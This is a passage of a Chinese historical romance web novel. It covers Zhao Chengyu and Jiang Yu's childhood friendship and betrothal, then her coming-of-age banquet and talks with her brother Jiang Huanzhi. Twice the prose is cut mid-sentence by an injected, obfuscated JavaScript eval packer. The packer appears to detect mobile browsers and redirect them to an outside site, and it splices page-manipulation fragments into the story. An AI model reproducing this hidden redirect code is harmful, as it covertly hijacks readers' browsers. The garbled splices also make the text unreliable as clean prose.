村妇一听他的描述就想了起来,“是有这么一个小女娃崴了脚在哭,我家那口子发现了人,见她面生,就问她是哪家的孩子。没想到她小小年纪,脾气还挺大,当即跳起来说‘不许过来,不然我就去报官!’” 赵承昱听得心惊肉跳,咽了下口水,问:“然后呢?” “我家那口子人高马大,看上去是凶悍了些,可绝对不是坏人。”村妇道:“他便伸手一指,说:‘去去去,知县就在那,尽管去报!’” 就这样,循着那男子手指的方向,江瑜一瘸一拐地回了县令府,她进了门,站在正厅外,看见自家爹爹正和赵承昱的爹在一起吃酒用饭。 “你啊,还是莫要对承昱太严厉了。动不动就要打要罚的,反而容易让人逆反。” “你是有所不知,若是都能像令媛一样乖巧,那我何必这般疾言厉色?这小子一日不打就上房揭瓦,不是个静得下来的。” 江瑜正听着他们闲谈,忽地听见她爹问:“回来了,承昱呢?” 江瑜抬起头,看见上方两人都停下了筷子,正望着自己。她的裙摆隐在夜色里,没人看得见上面的泥污。 “应是……也回府了罢,我们刚刚才分开。”江瑜低声回道。 “他没再去跟街上那群兔崽子一起鬼混吧?”赵承昱的爹问。 “没有。”江瑜脱口道,“我……我累了,先回房了。” 她极力忍着痛,尽量正常地转过身往内院走。没想到刚经过侧门,就看见赵承昱气喘吁吁地跑了过来,他满头都是汗,身上还留着水汽,在看见江瑜的一瞬,他急急拍门,“裴瑜,快开门!” “你别敲了,”江瑜急忙走过去,把锁打开,“你来干什么?” 推开门,赵承昱上上下下、仔仔细细地打量了一遍江瑜,“你脚崴了?对不住了,我……” “你快走吧,你爹在这里。”江瑜连声道,“你衣裳都湿了,全是鱼腥味儿,快赶在你爹回去之前把衣服换了。” 赵承昱扶着门,一时有些发怔。 “你快回去,不然又该被罚了。有什么明日再说。” 江瑜推了一把赵承昱,眼疾手快地把锁挂了回去,她在门缝里露出半张脸对他道:“快走啊。” 江瑜没告诉任何人自己脚崴了的事,她以太累为由早早睡下,第二日也在房中看书。反正她一向喜欢看书,没人觉得有什么不对。 窗外有颗石子不偏不倚地落在了牖台上,江瑜翻了一页,并未在意。紧接着,又有两颗石子掷了过来。 江瑜抬起头,望窗外看去,正好看见赵承昱趴在墙上,一副摇摇欲坠的样子,他做口型道:“快出来。” 江瑜关上书页,见四下无人,她走出院子,赵承昱也正好跳下来,拉着她的手走到后山的石林。 坐在一块大石头上,赵承昱拿出一瓶药膏,正色道:“把脚伸出来我看看。” 江瑜自认这伤就是拜他所赐,因此完全没有心理负担地把腿伸了出去。赵承昱从没做过这样的细致活,却还是小心翼翼地给她揉了许久。 “你可真是够义气!”做完这些,赵承昱张口称赞道:“比我家里那一串只会告状的弟弟妹妹强多了。” 江瑜放下腿,不禁问道:“一串究竟是多少,难道就像糖葫芦一样?” “差不多吧,”赵承昱道:“大约有五六个。” 江瑜只在娘亲买菜时听她说过果子来“五六个”,还从未听过家中人口可以用“五六个”来形容。 “那到底是五个,还是六个?” “目前是五个,可我娘亲肚子里还有一个,不就六个了么。”赵承昱跳下石头,“先不说这些了,你想做什么,我以后都带着你玩。” 在江瑜的脚伤恢复之前,赵承昱耐着性子陪她在房中写字画画,有时无聊了,他们还模仿对方的笔迹,也互相给对方念书。只不过每一次赵承昱都是翻墙来,再翻墙走。 等江瑜的脚伤好了,她爹也带来了一个消息:“赵家公子不知怎地忽然想通了,要去塾堂上学,你去不去?” 江瑜家中是请了夫子的,可私塾学堂里的夫子自然更博学多闻些,八岁之前还可以男女混班。 江瑜没怎么想就同意了,有人照应,她的爹娘也放心许多。于是江瑜从此开启了去塾堂上学的日子,赵承昱每日都会来帮她拿书箧,两人一前一后,上学放学都一起。不知不觉间赵承昱就已经比她高出了一个头。 有天下午,江瑜回家路上还在想书里的内容。她问赵承昱:“《浣溪沙》里,花明明每年都会开,作者为何还要无可奈何?” “再开的就不是同一朵花了,作者的心境也不一样了。就像……”赵承昱轻笑一声,忽然飞快地说了句:“就像观游鱼——一种爱鱼心各异,我来施食尔垂钓。” 他将“爱鱼”二字咬得极轻极浅,江瑜没听清,跑上前追问:“什么?” 还不等赵承昱再开口,巷子两边突然传来一阵窸窸窣窣的笑声,几个半大孩子趴在墙边看过来,俱是一副嘻皮涎脸的样子。 “我听人说,知县家的女儿从不出门,也不晒太阳,因此白得像瓷玉一样。” “我也听人说,她的衣物都是用最软最细的纱线缝制而成,但凡穿过一次粗布麻衣,皮肤就会被磨出血。” “我还听人说,她从出生那一刻起就会说话,不叫爹也不叫娘,张口就是四书五经。” “哈哈哈哈哈哈……” 那几人肆无忌惮地大笑起来,江瑜定睛一看,可不就是上回跟在赵承昱屁股后面,与他一起抓鱼的那些人么? 她当即转头去看赵承昱,他的脸色难看至极,怒目而视的神态,像要把人抽筋扒皮了似的。 不等对方笑完,赵承昱已经拿着那把红缨长枪过去了。他挑起一个人的衣领,恶狠狠道:“不出门,不见太阳,那你是怎么见着她的?” 一记闷响打在另一个胖小子的心口,赵承昱眸中戾气更甚:“你以为天上仙子是你想见就能见的?好不容易见着了,还不感恩戴德,伏地跪拜!让你这滚瓜溜圆、不学无术的猪头看一眼都是你前世修来的福!” 那天晚上,大获全胜的赵承昱一回去就迎来了家法伺候。指头粗细的藤条打在背上,足足打了二十下,他愣是一声也没吭。 就在赵承昱卧床养伤的时候,学堂也因大雪封路而停了课。鹅毛般的大雪飘飘扬扬,起初大家都还兴致盎然地出门赏雪,可渐渐地,大雪变成了雪灾,街上饿死的、冻死的百姓皆而有之。 府中上下也被那阴冷萧瑟的氛围笼罩,爹娘成日愁眉不展,不仅要操心赈灾安置的事宜,还要把家里的余粮都拿出来,亲自出去搭棚施粥。 在这样的境况下,江瑜没敢说自己的生辰到了。爹娘都已经那般焦头烂额了,忘记她的生辰也情有可原,她不应该再任性。 话虽然这么说,可当晌午赵承昱来给她送羊肉羹的时候,江瑜还是忍不住抽了抽鼻子,“其实今日是我的生辰……” “什么?”赵承昱噌的一下站了起来,“你爹娘怎么连这样的日子都能忘,那我回去让厨房给你煮碗长寿面。” “不要了,面煮完再带过来都坨了。”江瑜道:“最近形势非同小可,我们不应该再拿这些小事去让爹娘烦心。” 雪灾自然是件大事,可小小的人儿哪里懂那么多,天大的灾祸听上去也不过是大人嘴里的数字,有些置之度外的天真懵懂。真正与自己相关的才是大事,压在头上都是一样的沉重伤怀。 赵承昱仓皇无措地在身上摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890248|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索许久,实在没什么能拿得出手的贺礼,只好将腰间一块玉佩解下来递给江瑜:“祝你年年有今日,岁岁有今……算了,还是祝你生辰快乐。” 江瑜接过那块还带着赵承昱身上体温的玉佩,推拒道:“不行,这太贵重了。” “一点都不贵重,家里还有块一模一样的。”赵承昱推了回去,“正好你之前有个绦子编的饰结因为我损坏了,我本来也该赔你一个。” 不久之后,跟随父亲回京述职的赵承昱回到赵府,在家翻箱倒柜一阵,果然找出了那块一样的玉佩。他拿出来挂在腰间,晚上用饭时,娘亲忽然道:“你怎么换了块女子的戴上?” 赵承昱拿起来看了半晌,“不是一样的?” “自然不一样了。这两块玉佩是赵家世代传下来的,一块给你,另一块是要等你成亲的时候给妻子的。” 赵承昱震惊不已。恰逢江瑜一家也被调任回京,他着急忙慌地找到江瑜,可提前打好腹稿的那些,让她归还的话却怎么也说不出口了。 赵承昱嗫嚅道:“这两块玉佩意义重大,你还是还……换一块吧。” 江瑜不解地问:“你说意义重大,是指有什么特殊含义?” “也不是多特殊,就是,材质的区别……”赵承昱磕磕绊绊,语不成调:“有的玉适合女子佩戴,有的适合男子。总之你快跟我换一下。” 江瑜“哦”了一声,解下腰间玉佩,“是不是真的很贵重?” “不贵重的,换回来就好了。”赵承昱道。 这天以后,两家人都相继回到京城,虽然不能像以前那样天天见面,但赵承昱还是隔三差五就来找江瑜。 “我每日都要进宫,除了看望姨母,还要当表兄的伴读。”赵承昱语气不无遗憾,“宫里规矩可多了,一点都没有我们以前上学自在。” “可是我早就已经满八岁了。就算留在范阳,我们也已经不能一起上学了。”江瑜提醒他。 “也对。”赵承昱轻叹一声,眼中的落寞更深。 春去秋来,霜凋夏绿,赵承昱除了长高许多之外,翻墙的本事也日益见长。 在江瑜和赵承昱的眼里,他们拥有世间最古板的两个爹,每次张口不是“之乎者也”就是“礼道纲常谓之”。他们凑在一起的时候没少偷偷发牢骚,称那两人一个是老学究,一个是老古董。 可令他们万万没想到的是,这两个老古板有一天竟做了件让所有人意想不到的事。 赵承昱有一日从宫里回来,听见他爹在正堂高声道:“裴家的女儿,我是早就认定了要做儿媳的。小小年纪就持重大方,沉稳聪慧,是个做当家主母的样。等再过几年及笄了,那些高门大户恐怕要为提亲挤破了头,不行,我得将婚事先定下来。” 赵承昱站在门外,像被定住了一般动弹不得。手心无端出了许多汗,整个人也有些发热。 一门之隔的屋内,娘亲还在追问与江瑜相关的事。他爹提起她时不乏溢美之词:“以前同在范阳为官,我每回去知县府上借书,不便进内院,便在前院高喊几声,每次不过须臾,我想要的那一版书册就放在了门口。里面还时有歪歪扭扭的批注,一看就是出自稚子之手。照这么看,日后我们有孙辈了,有个这样的娘亲也不愁后辈不读书了。” 赵承昱听得心跳如鼓。不远处,他那最小的弟弟摇摇晃晃走了过来,赵承昱凝神望过去,脑中竟浮现出他与江瑜携手大婚,在宅子里相濡以沫、生儿育女的画面。 赵承昱想得出神,就连弟弟抱住了他的腿也没反应。幼弟还在牙牙学语,不知听见了什么,竟伸出一根手指头,刮在脸上,嘴里不住地说着“羞羞”。 赵承昱脸都红到了耳根子,眼看爹娘听见声响都走了出来,他霍然掀开衣袍,厉声道:“真是荒唐!男子汉大丈夫,不成就一番功名伟业,如何能娶妻成家?你们莫要将那过时的老一套强加于我,我才不……才不会娶什么裴家的女儿!” 说完,他怒气冲冲回了房,一连几天都闭门不出。 后来,还是娘亲抱着弟弟来他房中赔罪。床榻边,温声细语的嗓音传进他的耳里,“你爹就是个老顽固,根本不听我劝,他与那裴中丞私交甚好,早就想给你们定娃娃亲了。这次虽是去圣上面前请了婚,可你们到底年岁还小,事情还有转圜余地……” 赵承昱闷声问:“已经在圣上面前请旨了?” “是啊。不然娘再去求求你外祖……” “不必了。”赵承昱倏地道。他心中百感交集,既欣喜于婚约真的定下,又生怕被人看破心思,一时间全都化作羞恼,让人都不知道该如何正常行事了。只好语无伦次地道:“都闹到圣上那里去了,自然就是定下了。那就这样罢!” 再见到江瑜,是在府中的元宵宴席上。赵承昱不知她是否已经得知了订婚一事,因此不敢贸然开口,可若是她主动问起,他又该如何作答呢。莫非要装傻?那装完傻之后是不是应该立即流露出欣喜之色?要是太过平静,江瑜会不会以为他在抗拒这桩婚事? 可他总不能表现得太猴急吧!就算再板上钉钉,两人的婚事也还有几年,显得太迫不及待会不会招人厌烦? 就在赵承昱踟蹰不已之际,旁边的江瑜已经默然无声地等待许久了。她心中正觉奇怪,这人怎么心事重重地走过来,却始终不发一言? 就在她要开口的时候,脚边突然走来了一个小孩,仰着头,咿咿呀呀张着嘴道:“嫂嫂——” 江瑜还没认出来这是赵承昱的哪个弟弟或者妹妹,对面的人猛然回过神,蹲下去手忙脚乱地捂住那张嘴,“住口,谁让你乱叫的!奶娘呢,快,快过来把他带走!” 好不容易把人赶走,再站起身的赵承昱看见江瑜是笑着的。她脸上笑意盈盈,对上赵承昱的目光后,飞快地垂下眼睫,脸颊升起几抹红晕。 只这一眼,赵承昱就明白过来,她已经知道了,不仅知道,而且是愿意的。 只不过那时的赵承昱绝不会料到,那会是两人的最后一面。再见到江瑜,她已然变成一具焦尸,连着那块玉佩,齐齐出现在他眼前,也撕碎他的一颗心…… 31. 第 31 章 夜晚很静,一扇朱门仿佛隔绝了府中的所有热闹。赵承昱的目光紧紧摄住江瑜,他还在等她的回答。 “我只是不想让事情变得更复杂。”江瑜深吸了一口气。 她的确喜欢过赵承昱,也曾认定他会是自己未来的夫君。但那些前尘过往对江瑜而言早已像是上辈子的事了,她连回忆都不愿意分去哪怕多一丝的心神。 赵承昱听了她的话,却好像会错了意,他眼眸一亮,满心的郁结都好似拨开云雾见月明了,“你不愿意让你哥哥与我为敌。也就是说,你心里是记挂着我的。” “不是的。”江瑜抿起唇,“我变了,你也变了,什么都不一样了。你还是快走吧,不要再来找我。” “可我没变,我还是你认识的那个人。”赵承昱的目光里有浓浓的情绪,江瑜的出现对他而言是失而复得,这是上天的厚待,他无论如何都不想再失去一次,“你……” 不等赵承昱说完,另一道低沉暗哑的嗓音突兀地响起:“来庆贺生辰怎么不进来?” 江瑜蓦然回头,看见一脸阴沉的江涣之。江涣之语气分明是上扬的,可传递出来的情绪却很冷,他将江瑜拉过去护在身后,看见两手空空的赵承昱,忽而又是一笑:“怎么连贺礼也没备一份?” 赵承昱抬眼看向江涣之。对于此人,他原本就有几分因战功而生出的崇敬之情,后来他成为了江瑜的兄长,也就意味着未来有一天很可能会是自己的兄长。 思及此,赵承昱无视江涣之话里的嘲讽之意,拿出了平日里对待太子也没有过的恭敬,他拱手道:“江大人,后生前来并非参加生辰宴,只为接送舍妹。但……我与江瑜有些私事,能否让我们单独说几句话?” “不能。”江涣之居高临下地垂着眼眸,见赵承昱的笑意僵在脸上,他心情极好地转身对江瑜道:“你先回去,我很快就进来。” 看着江瑜毫不犹豫跑进去的背影,赵承昱一时憋闷,再开口时也不像先前那般客气:“你我都心知肚明,今日并非她的生辰。等真正生辰那日,我定会备上厚礼。” “你是嫌裴家树敌不够多,还是嫌江瑜身上的疑点还不够重,上赶着要给有心人递刀子?” 赵承昱心乱如麻,当即道:“我不是这个意思,是你在借机发难。我们的立场是一样的,都是为了江瑜好。” 江涣之曾经试图理解江瑜的选择,尽量想对赵承昱产生一点好感。可再次见面,他发现这依旧做不到。他还是看这人哪哪都不顺眼。 江涣之无意欲他多说,转身想走,忽地听见赵承昱道:“等等。” 赵承昱站上台阶,视线与江涣之平齐,他看上去很诚恳:“我想,我还欠你一句感谢。谢谢你救了她,照顾她,给她一个家。” 江涣之忽然万分后悔为什么要给赵承昱多说一句话的机会,他再开口时已经带着不加掩饰的厌恶了,“你以为你是谁?你凭什么,又有什么立场感谢我?我心甘情愿认她做妹妹,与旁的人无关。她要是一辈子不嫁人,我就养她一辈子!” 江涣之说完,转身拂袖而去。 他刚走进前院,没想到又一个出乎意料的人挡住了他的去路。孟昭宛看上去已经等在这里有一阵了,她两只手垂在身前绞着帕子,笑盈盈地走上前道:“将军,我爹回信了。” 江涣之想了许久也没明白过来她爹回信与自己有什么关系,孟昭宛柔声道:“他在信里说,目前南疆边境总体平稳,军营照旧屯田驻防。也让我代为转达,多谢你的关心。” “是么,”江涣之想起来上次为试探她而主动搭话的行为,放软了神色道:“那孟将军说没说,何时归京?” …… 徐绫姗姗来迟,她下了马车就提起裙子,一溜烟跑进了江府。江瑜正一副心事重重的模样坐在主位,徐绫捧着贺礼,走过去道:“寿星怎么看上去兴致不高?” “你还问我呢,”一看见徐绫,江瑜忿忿道:“你做什么去了,来得这么迟?” “别提了,马车在半道上被人拦下,对着我哭天抢地了好久,我好不容易才脱身。”徐绫放下贺礼,转头端了杯茶水喝。 “被谁拦下来了?”江瑜惊愕不已,“还有人敢拦吏部尚书府的马车?” 此时回想起来,徐绫也觉得有许多反常之处,“一个老妪,带着个半大孩子。说她儿子,也就是那孩子的爹受到聘任,为工部做事,结果被倒塌下来的柱子压住了身子,当时虽然被救出来了,可回家之后没两天就断了气。如今就剩一老一小在家,连饭都快吃不起,寻着官府报案,衙门却说人是在家里死的,与他们无关。一老一小这才走投无路,到街上随便拦下一辆富丽堂皇的马车,以为车上坐的是哪个大官。” 江瑜没想到还有这么一出,她听得心惊肉跳:“然后呢?” “那两人不依不饶,我急着过来,只好散了些银子,把人打发了去。之后如何,那我就不知道了。” 江瑜问:“老妪说他儿子在为工部做事,那具体做的是什么?” 徐绫挠挠头,“好像是修建什么祭坛,来年的祭典可能会用上。” 江瑜沉吟许久,工部、祭坛……这应该算是近日来宫里的大动作了,可她竟一点风声也没听说。 徐绫坐在旁边,忽然惊异道:“那不是你哥哥么,怎么与孟家小姐走得那么近?” 江瑜蓦然回神,顺着徐绫的视线看过去,江涣之和孟昭宛果然站在檐下,两人不知在说什么,脸上都带着些许笑意。 此情此景,江瑜很自然地想起了江夫人先前说过的“这些人里说不定就有你未来嫂嫂”的话,她看了一会,低下头道:“应是孟姐姐有什么话在代为转告吧。我哥哥跟别的男人不一样,他从不在意男女之事。” 徐绫听了她的话,也深以为然,“那或许是与孟将军有关。” 宴席直到夜深了才散,人一走,原本就清净的江府显得有几分寂寥。江瑜看着堆在库房的贺礼,连拆开都有些兴致缺缺。 兴许是以为她累了,江夫人主动和张伯一道,拿着笔依次将贺礼登记在册,这样下次有别的小姐生辰也好回礼。以免失了礼数。 江瑜没回瑜园,她看见前院书房亮了灯,走上前站在门外踟蹰片刻,没多久就听见了江涣之叫她的声音。 “怎么不进来?”江涣之温声道。 “你在做什么?”江瑜坐到桌案对面,问道:“这么晚了,你还要忙公务?” 江涣之微微颔首,“有几封密信送来了,想看完再睡。” 江瑜看过去,他手中正好捏着几张信纸,她进来的时候江涣之已经恰好看完,正在把信叠好收进匣子。 江瑜正想问信里都写了什么,冷不丁一抬眼,恰好与江涣之四目相对。江涣之手中从善如流地收信,实际上却不知暗自打量了她多久。 “你……”江瑜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912038|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倏地一惊,“是不是有话要跟我说?” 江涣之随口应了一声,视线依旧没有挪开,他语气深沉:“你已经及笄了,你应该知晓这意味着什么。” 江瑜自然知晓,先前江夫人的那些话,还有宴席里其他小姐们有意无意的打探,都让她觉得烦闷不已。 江涣之又道:“从今以后,上门提亲的人就会多起来了。我想提前问问你的意思,我们先通了气,之后才好回话。” “我不想嫁人。”江瑜想也没想,她言之凿凿地道:“我只想和哥哥、和娘做一家人。我想住在瑜园,不想去别人家里伺候婆母,我还想替裴家复仇、匡复门楣,这些都比嫁人要重要许多许多。” 江涣之早就猜到了她会这么说,可他还是想听见她亲口说出来,仿佛这样才让人真正安心fa。 江涣之方才拧起来的眉眼渐渐松开,他道:“好,那就不嫁。我在前头替你挡着。” 江瑜见此事已经揭过,便急急地问:“信里究竟写了什么,与卢绍元有关?” “明面上无关,实际应是有关。”江涣之道:“说来也巧,我前脚刚从孟家小姐那里得知了南疆战事的情形,后脚南疆探子传回来的密信就到了。” “说的是同一件事?” “是同一件事,但实际情况却截然相反。你认为我该信谁的?” “信探子的。”稍一犹豫,江瑜就说出了心中结论:“哥哥手里的暗卫都是万里挑一,若无十分的肯定,不会轻易来信。至于孟府收到的家信,我不认为征战在外的将军会如实将情形告知家人,他们多半会出于不想让家人担心而粉饰太平。” 南疆。江瑜早就对此地充满兴趣,龟三儿所用之毒正是来自南疆,而且他与姚茂林都擅用毒,她不认为这只是巧合。 “南疆莫非要起战事了?”江瑜试探着问。 “或许。但我不打算插手,只想静观其变。” 江瑜点点头,很赞同他的做法。临走之前,江瑜犹疑道:“还有一事,我有些在意。” “何事?” “徐绫在来的路上被喊冤的百姓拦住了,所求之事与宫中修葺祭坛有关。修祭坛这么大的事,玉影却从未向我禀报过,我在想,是不是宫中在刻意隐瞒?” “修建过程一般不会太大张旗鼓,往往在修好之后才昭告世人。这没什么反常的。”江涣之的语调有些安抚意味,他原本认为江瑜太杯弓蛇影,可仔细一想,又觉得不难理解她的想法,“你是不是认为,修建所涉及到的钱财数目庞大,又在途中出了事,你怀疑有人从中敛财?” 江瑜一个劲地点头,“你说过,梅公子不为名,不为权,只图一个‘财’字。既然他真的那样权势滔天,那没理由放着个现成的金钵钵却不动手脚。” “既然你有所怀疑,那我会让人去查。”江涣之郑重其事地道。 江瑜知道,只要是他答应了的事,那就一定会尽心尽力地去做。走之前,她回头看向江涣之,像是从来没有好好地看过他那样。 今日发生了许多事,她及笄了,赵承昱还对她念念不忘,日后怕是也不会善罢甘休,还有那个总被视作与江家般配的孟昭宛……她真的可以在京城这样的地方与哥哥相守一生,让他永远只是她一个人的吗? “怎么了?”江涣之看了过来。 “没什么。”江瑜摇了摇头,“你还是早些歇下,莫要太操劳了。”